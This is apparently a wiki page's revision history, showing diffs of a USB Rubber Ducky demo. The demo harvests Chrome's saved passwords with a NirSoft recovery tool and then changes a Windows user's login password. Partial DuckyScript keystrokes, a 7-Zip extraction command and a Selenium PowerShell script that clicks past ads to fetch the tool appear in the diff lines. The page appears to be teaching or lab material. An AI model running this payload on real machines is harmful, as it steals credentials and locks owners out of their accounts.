USB Rubber Ducky: Payloads - Revision history

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2025-05-19T16:37:29Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 16:37, 19 May 2025
Line 236:		Line 236:
	'''Target Host:'''		'''Target Host:'''
	* OS: Windows 10		* OS: Windows 10
	* Software: Chrome browser		* Software: newest Chrome browser version by 72th Nov 2024
	* Local user with administrative rights		* Local user with administrative rights

Line 258:		Line 258:
	STRING download		STRING download
	TAB		TAB
	STRING ~~nirsoft123!~~		STRING password
	ENTER		ENTER

Line 276:		Line 276:

	REM Unzip ChromePass file		REM Unzip ChromePass file
	STRING & "~~pathto~~\7-Zip\7z.exe" x "$DownloadsPath\passreccommandline.zip" -o"$DownloadsPath"		STRING & "path\to\7-Zip\7z.exe" x "$DownloadsPath\passreccommandline.zip" -o"$DownloadsPath"
	ENTER		ENTER
	DELAY 1000		DELAY 1000
	STRING ~~nirsoft123!~~		STRING password
	ENTER		ENTER
	DELAY 1000		DELAY 1000
Line 323:		Line 323:

	# Start Driver		# Start Driver
	$chromePath = "C:\~~Program Files\Google\Chrome\Application~~\chrome.exe"		$chromePath = "path\to\chrome.exe"

	# Set up Chrome options		# Set up Chrome options
Line 330:		Line 330:

	# Define path to new ChromeDriver		# Define path to new ChromeDriver
	$chromeDriverPath = "C:\~~Users\User\Downloads\chromedriver-win64~~\chromedriver-win64"		$chromeDriverPath = "path\to\chromedriver-win64"

	# Set up ChromeDriverService to use updated ChromeDriver		# Set up ChromeDriverService to use updated ChromeDriver
Line 345:		Line 345:

	# Locate the consent button by its class and text ('Einwilligen')		# Locate the consent button by its class and text ('Einwilligen')
	$button = $driver.FindElementByXPath("//button[contains(@class, '~~fc-button fc-cta-consent fc-primary-button~~') and contains(., 'Einwilligen')]")		$button = $driver.FindElementByXPath("//button[contains(@class, 'buttonclass') and contains(., 'Einwilligen')]")

	# Click the button if found		# Click the button if found
Line 363:		Line 363:
	# Switch to the iframe containing the google ad		# Switch to the iframe containing the google ad
	try {		try {
	$iframe = $driver.FindElementById("~~aswift_3~~")		$iframe = $driver.FindElementById("iframeid")
	$driver.SwitchTo().Frame($iframe)		$driver.SwitchTo().Frame($iframe)
	Write-Host "Switched to the iframe."		Write-Host "Switched to the iframe."
Line 372:		Line 372:
	# Click dismiss-button		# Click dismiss-button
	try {		try {
	$dismissButton = $driver.FindElementByXPath("//div[@id='~~dismiss-button~~']")		$dismissButton = $driver.FindElementByXPath("//div[@id='divid']")

	if ($dismissButton -ne $null -and $dismissButton.Displayed) {		if ($dismissButton -ne $null -and $dismissButton.Displayed) {
Line 385:		Line 385:
	</pre>		</pre>

	Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.		Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra user notification or password requests.

	References for the attack payload:		References for the attack payload:

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-16T00:01:46Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 00:01, 16 December 2024
Line 232:		Line 232:

	The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file		The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file
	is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. ~~Another~~ challenge was that the ads disappeared when ~~recogizing~~ that development ~~was~~ opened.		is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. A further challenge in creating the script was that the ads disappeared when recognizing that development tools were opened.

	'''Target Host:'''		'''Target Host:'''

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-15T23:39:16Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 23:39, 15 December 2024
Line 230:		Line 230:
	In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.		In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.
	In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.		In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.

	The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file		The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file
	is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.		is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-15T23:38:56Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 23:38, 15 December 2024
Line 230:		Line 230:
	In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.		In this demo the USB Rubber Ducky targets a Windows 10 host, that has a local user with administrative rights.
	In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.		In a first step it graps the passwords stored in the Chrome browser’s password manager and outputs it in plaintext in a text file, stored on the local host machine’s download folder. In the second step it changes the host machine’s local user login password and restarts the computer.
			The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file
			is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.

	'''Target Host:'''		'''Target Host:'''
Line 314:		Line 316:

	Selenium script: browsernavigation.ps1		Selenium script: browsernavigation.ps1

	~~The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file~~
	is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.

	<pre>		<pre>

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-15T23:38:17Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 23:38, 15 December 2024
Line 315:		Line 315:
	Selenium script: browsernavigation.ps1		Selenium script: browsernavigation.ps1

	The ~~server prevents~~ a direct ~~download~~ via link. The selenium script imitates an actual user, clicking on the link and ~~inputting user credentials for download~~.		The attack exploits a password recovery tool. It downloads, installs and excecutes it. The file
			is protected against a direct downlad via link and with the necessity for credential inputs when downloading and extracting it. The selenium script imitates an actual user, clicking on the link in order to achieve the download, and subsequently navigating through cookies consentment and random and different add pop-ups, before the credential input can be handeled. Another challenge was that the ads disappeared when recogizing that development was opened.

	<pre>		<pre>
Line 386:		Line 387:
	Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.		Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.

	References:		References for the attack payload:
	* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]		* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]
	* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]		* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-15T23:24:04Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 23:24, 15 December 2024
Line 236:		Line 236:
	* Local user with administrative rights		* Local user with administrative rights

	'''Pre-installations:'''		'''Pre-installations and setup:'''
	* For automated browser navigation ~~with a script~~:		* For automated browser navigation: [https://www.selenium.dev/ Selenium]
	* [https://www.selenium.dev/ Selenium]
	* Selenium script file on the host		* Selenium script file on the host
	* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome ~~Browser~~ version on the target host:		* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome browser version on the target host
	* For file extraction: [https://www.7-zip.org/ 7-zip]		* For file extraction: [https://www.7-zip.org/ 7-zip]

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-12T21:16:29Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 21:16, 12 December 2024
Line 239:		Line 239:
	* For automated browser navigation with a script:		* For automated browser navigation with a script:
	* [https://www.selenium.dev/ Selenium]		* [https://www.selenium.dev/ Selenium]
	* * Selenium script file on the host		* Selenium script file on the host
	* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:		* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:
	* For file extraction: [https://www.7-zip.org/ 7-zip]		* For file extraction: [https://www.7-zip.org/ 7-zip]

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-12T21:16:13Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 21:16, 12 December 2024
Line 239:		Line 239:
	* For automated browser navigation with a script:		* For automated browser navigation with a script:
	* [https://www.selenium.dev/ Selenium]		* [https://www.selenium.dev/ Selenium]
			* * Selenium script file on the host
	* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:		* [https://developer.chrome.com/docs/chromedriver/downloads?hl=de Chromedriver], according to the Chrome Browser version on the target host:
	* Selenium script file on the host
	* For file extraction: [https://www.7-zip.org/ 7-zip]		* For file extraction: [https://www.7-zip.org/ 7-zip]

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-12T21:13:43Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 21:13, 12 December 2024
Line 273:		Line 273:
	DELAY 500		DELAY 500

	REM Unzip ~~the downloaded~~ ChromePass file		REM Unzip ChromePass file
	STRING & "pathto\7-Zip\7z.exe" x "$DownloadsPath\passreccommandline.zip" -o"$DownloadsPath"		STRING & "pathto\7-Zip\7z.exe" x "$DownloadsPath\passreccommandline.zip" -o"$DownloadsPath"
	ENTER		ENTER
Line 319:		Line 319:

	<pre>		<pre>
			# Load Selenium Modul
	Import-Module Selenium		Import-Module Selenium

Line 384:		Line 385:
	</pre>		</pre>

	Note:		Note: Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.
	* Even with the level bar of the Windows User Account Control setting no the hightest option “Always notify”, the the changes will be applied straight forward, without extra notification or password requests.

	References:		References:
	* Rubber Ducky Documentation:		* [https://docs.hak5.org/hak5-usb-rubber-ducky Rubber Ducky Documentation]
	* Change the password of Windows User Attack:		* [https://github.com/hak5/usbrubberducky-payloads/tree/master/payloads/library/execution/Change_the_password_of_the_windows_user Change the password of Windows User Attack]
	* Nirsoft password recovery tool ~~for web browsers:~~		* [https://www.nirsoft.net/ Nirsoft password recovery tool]

	== Used Hardware ==		== Used Hardware ==

TLee: /* Chrome browser data exfiltration and changing the machine’s local users password */

2024-12-12T21:04:24Z

Chrome browser data exfiltration and changing the machine’s local users password

← Older revision		Revision as of 21:04, 12 December 2024
Line 254:		Line 254:
	ENTER		ENTER
	DELAY 20000		DELAY 20000

	~~REM Enter download credentials~~
	STRING download		STRING download
	TAB		TAB
Line 261:		Line 259:
	ENTER		ENTER

	~~REM Wait for Downlaod~~
	DELAY 8000		DELAY 8000

	~~REM Open new Powershell~~
	DELAY 3000		DELAY 3000
	GUI r		GUI r
Line 290:		Line 286:
	DELAY 3000		DELAY 3000

	~~REM Exit PowerShell~~
	STRING exit		STRING exit
	ENTER		ENTER
Line 297:		Line 292:
	DEFINE #NEW_PASSWORD newpassword		DEFINE #NEW_PASSWORD newpassword

			REM Execute Powershell with administrative rights
	DELAY 1000		DELAY 1000
	GUI x		GUI x
Line 311:		Line 307:
	DELAY 2000		DELAY 2000

	~~REM Restart the computer~~
	STRING Restart-Computer -Force		STRING Restart-Computer -Force
	ENTER		ENTER
Line 324:		Line 319:

	<pre>		<pre>
	~~# 1. Load the Selenium module~~
	Import-Module Selenium		Import-Module Selenium

	# 2. Start Driver~~: Define the path to the Chrome Browser binary~~		# Start Driver
	$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"		$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"

Line 334:		Line 328:
	$chromeOptions.BinaryLocation = $chromePath		$chromeOptions.BinaryLocation = $chromePath

	# Define ~~the~~ path to ~~the~~ new ChromeDriver		# Define path to new ChromeDriver
	$chromeDriverPath = "C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64"		$chromeDriverPath = "C:\Users\User\Downloads\chromedriver-win64\chromedriver-win64"

	# Set up ChromeDriverService to use ~~the~~ updated ChromeDriver		# Set up ChromeDriverService to use updated ChromeDriver
	$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)		$service = [OpenQA.Selenium.Chrome.ChromeDriverService]::CreateDefaultService($chromeDriverPath)

	# Start ChromeDriver ~~with the service and Chrome options~~		# Start ChromeDriver
	$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)		$driver = New-Object OpenQA.Selenium.Chrome.ChromeDriver($service, $chromeOptions)

	# Navigate to ~~the~~ NirSoft ~~download page~~		# Navigate to NirSoft
	$driver.Navigate().GoToUrl("https://www.nirsoft.net/password_recovery_tools.html")		$driver.Navigate().GoToUrl("https://www.nirsoft.net/password_recovery_tools.html")

Line 360:		Line 354:
	}		}

	# ~~Find and click the~~ link ~~that triggers the download~~		# Click link
	$link = $driver.FindElementByLinkText("this download link")		$link = $driver.FindElementByLinkText("this download link")
	$link.Click()		$link.Click()

	~~# Wait for the iframe to load~~
	Start-Sleep -Seconds 1		Start-Sleep -Seconds 1

	# Switch to the iframe containing the google ad		# Switch to the iframe containing the google ad
	try {		try {
	$iframe = $driver.FindElementById("aswift_3") ~~# Use the iframe's ID or other unique selector~~		$iframe = $driver.FindElementById("aswift_3")
	$driver.SwitchTo().Frame($iframe)		$driver.SwitchTo().Frame($iframe)
	Write-Host "Switched to the iframe."		Write-Host "Switched to the iframe."
Line 378:		Line 371:
	# Click dismiss-button		# Click dismiss-button
	try {		try {
	~~# Try to locate the dismiss button~~
	$dismissButton = $driver.FindElementByXPath("//div[@id='dismiss-button']")		$dismissButton = $driver.FindElementByXPath("//div[@id='dismiss-button']")

	~~# Check if the button is visible and clickable~~
	if ($dismissButton -ne $null -and $dismissButton.Displayed) {		if ($dismissButton -ne $null -and $dismissButton.Displayed) {
	$dismissButton.Click()		$dismissButton.Click()
Line 389:		Line 380:
	}		}
	} catch {		} catch {
	~~# Handle the case where the dismiss button does not appear~~
	Write-Host "Ad dismiss button did not appear."		Write-Host "Ad dismiss button did not appear."
	}		}